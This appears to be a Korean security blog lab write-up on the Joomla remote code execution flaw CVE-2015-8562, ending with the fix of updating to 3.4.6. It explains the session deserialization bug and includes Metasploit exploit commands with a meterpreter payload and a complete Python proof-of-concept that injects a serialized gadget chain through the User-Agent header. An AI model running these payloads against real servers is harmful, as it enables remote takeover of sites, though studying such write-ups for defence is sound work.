1. Joomla
- PHP로 작성된 오픈 소스 저작물 관리 시스템
- MySQL 데이터베이스를 이용해 웹상에서 다양한 컨텐츠를 관리, 보관, 출판할 수 있는 기능을 가짐
2. 취약점
- 세션 데이터에 조작된 User-Agent 문자열을 삽입하여 잘못된 세션 헨들러 로직을 통해 데이터베이스(utf8_general_ci)에 저장되는 취약점
- session_decode() 함수 버그(CVE-2015-6835)와 unserialize() 함수 버그(CVE-2015-0273)이 관련됨
영향받는 버전
- 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x
- PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45
2.1 실습
- Joomla를 설치 하였으나, [사진 1] 에러가 발생
※ 구글링 조회 결과를 바탕으로 실습 보고서 작성
- 공격 대상이 취약점에 영향을 받는 Joomla 및 PHP 버전에 해당하는지 확인
- Metasploit 스캐너를 통해 줌라 버전 조회 (취약한 Joomla 버전 : 3.4.6 이전의 Joomla 1.5.x, 2.x 및 3.x)
msf6 > use auxiliary/scanner/http/joomla_version
msf6 auxiliary(scanner/http/joomla_version) > set rhosts 192.168.56.112
msf6 auxiliary(scanner/http/joomla_version) > set targeturi /joomla/
msf6 auxiliary(scanner/http/joomla_version) > run
- PHP 버전 확인 (취약한 PHP 버전 : PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29, PHP 5.4 < 5.4.45)
- CVE-2015-8562 모듈을 다운로드하여 실습 진행
- Exploit 결과 공격자와 session이 설정되었으며, sysinfo, getuid 등의 명령을 통해 서버의 정보를 조회할 수 있음
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/joomla_http_header_rce.rb
cp joomla_http_header_rce.rb /usr/share/metasploit-framework/modules/exploits/multi/http
msfconsole
msf6 > use exploit/multi/http/joomla_http_header_rce
msf6 exploit(multi/http/joomla_http_header_rce) > set payload php/meterpreter/bind_tcp
msf6 exploit(multi/http/joomla_http_header_rce) > set rhosts 192.168.56.112
msf6 exploit(multi/http/joomla_http_header_rce) > set rport 8080
msf6 exploit(multi/http/joomla_http_header_rce) > set targeturi /joomla/
msf6 exploit(multi/http/joomla_http_header_rce) > set lhosts 192.168.56.102
msf6 exploit(multi/http/joomla_http_header_rce) > exploit
- 위 패킷을 와이어샤크로 확인해보면 다음과 같음
- 익스플로잇 후 데이터베이스에서 "joomla_sessions" 테이블을 확인해보면 조작된 세션 데이터가 저장됨
※ joomla_sessions : 세션 데이터를 보유하고 있는 테이블
2.2 분석
- Joomla는 수신하는 모든 User-Agent 헤더를 웹사이트 데이터베이스에 저장
- 이 경우, User-Agnet나 HTTP_X_FORWARDED_FOR 헤더를 통해 서버에 사용자 PC 정보를 알려줌
- 보통 통계 자료로 활용하기 위해 수집하며, Joomla에서는 해당 데이터를 세션에 저장
- [사진 7]을 확인해 보면, User-Agent 헤더를 통해 문자열을 입력 받을 수 있음
- 데이터베이스에 저장하는 과정 중 직렬화를 수행
source > array("a" => 5, "b" => 6)
serialize() 함수 > a:2:{s:1:"a";i:5;s:1:"b";i:6;}
session_encode() 함수 > a|i:5;b|i:6;
- database.php에서 취약점이 트리거됨
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
- 보호된 변수(protected)는 직렬화 시 "\0*\0" 로 시작
class CustomClass
{
protected $data = 5;
}
echo serialize(new CustomClass);
결과 > O:11:"CustomClass":1:{s:7:"\0*\0data";i:5;}
- Joomla 어플리케이션의 사용자 세션 핸들러는 zero scaped 버전으로 변환해서 지원
- 이것은 HTTP 헤더를 통해 Null 바이트가 통과할 수 있게끔 허용
- 통과된 Null 바이트가 포함되어 있는 악의적인 코드는 Joomla 어플리케이션의 사용자 세션 핸들러가 보호된 변수를 직렬화할 수 있도록 가능하게 되어 악의적인 코드가 실행
2.3 PoC
- User-Agent 헤더에 공격용 코드를 삽입
- generate_payload 함수를 통해서 원격 명령을 삽입
- 공격 후 get_url('접근 URL', 'payload' 입력)로 결과 확인
'''
Simple PoC for Joomla Object Injection.
Gary @ Sec-1 ltd
http://www.sec-1.com/
'''
import requests # easy_install requests
def get_url(url, user_agent):
headers = {
'User-Agent': user_agent
}
cookies = requests.get(url,headers=headers).cookies
for _ in range(3):
response = requests.get(url, headers=headers,cookies=cookies)
return response
def php_str_noquotes(data):
"Convert string to chr(xx).chr(xx) for use in php"
encoded = ""
for char in data:
encoded += "chr({0}).".format(ord(char))
return encoded[:-1]
def generate_payload(php_payload):
php_payload = "eval({0})".format(php_str_noquotes(php_payload))
terminate = '\xf0\xfd\xfd\xfd';
exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
injected_payload = "{};JFactory::getConfig();exit".format(php_payload)
exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
return exploit_template
pl = generate_payload("system('touch /tmp/fx');")
print get_url("http://172.31.6.242/", pl)
3. 대응방안
① Joomla 업데이트 적용
- 3.4.6 버전 이상으로 업데이트
4. 참고
- https://lopicit.tistory.com/363
- https://github.com/vulhub/vulhub/blob/master/joomla/CVE-2015-8562/README.md
- https://blog.naver.com/PostView.naver?isHttpsRedirect=true&blogId=koromoon&logNo=220575405820
- https://resources.infosecinstitute.com/topic/exploiting-cve-2015-8562-new-joomla-rce-2/
- https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html
- https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html
- https://blog.sucuri.net/2014/11/deep-dive-into-the-hikashop-vulnerability.html
'취약점 > RCE' 카테고리의 다른 글
Websvn 2.6.0 RCE (CVE-2021-32305) (0) | 2022.12.26 |
---|---|
Oracle WebLogic WLS Security Component RCE (CVE-2017-10271) (1) | 2022.12.23 |
Drupalgeddon2 (CVE-2018-7600) (0) | 2022.12.11 |
SMB RCE 취약점 (MS17-010, CVE-2017-0143 ~ 0148) (0) | 2022.12.07 |
Confluence Server 및 Data Center RCE 취약점 (CVE-2022-26134) (0) | 2022.12.04 |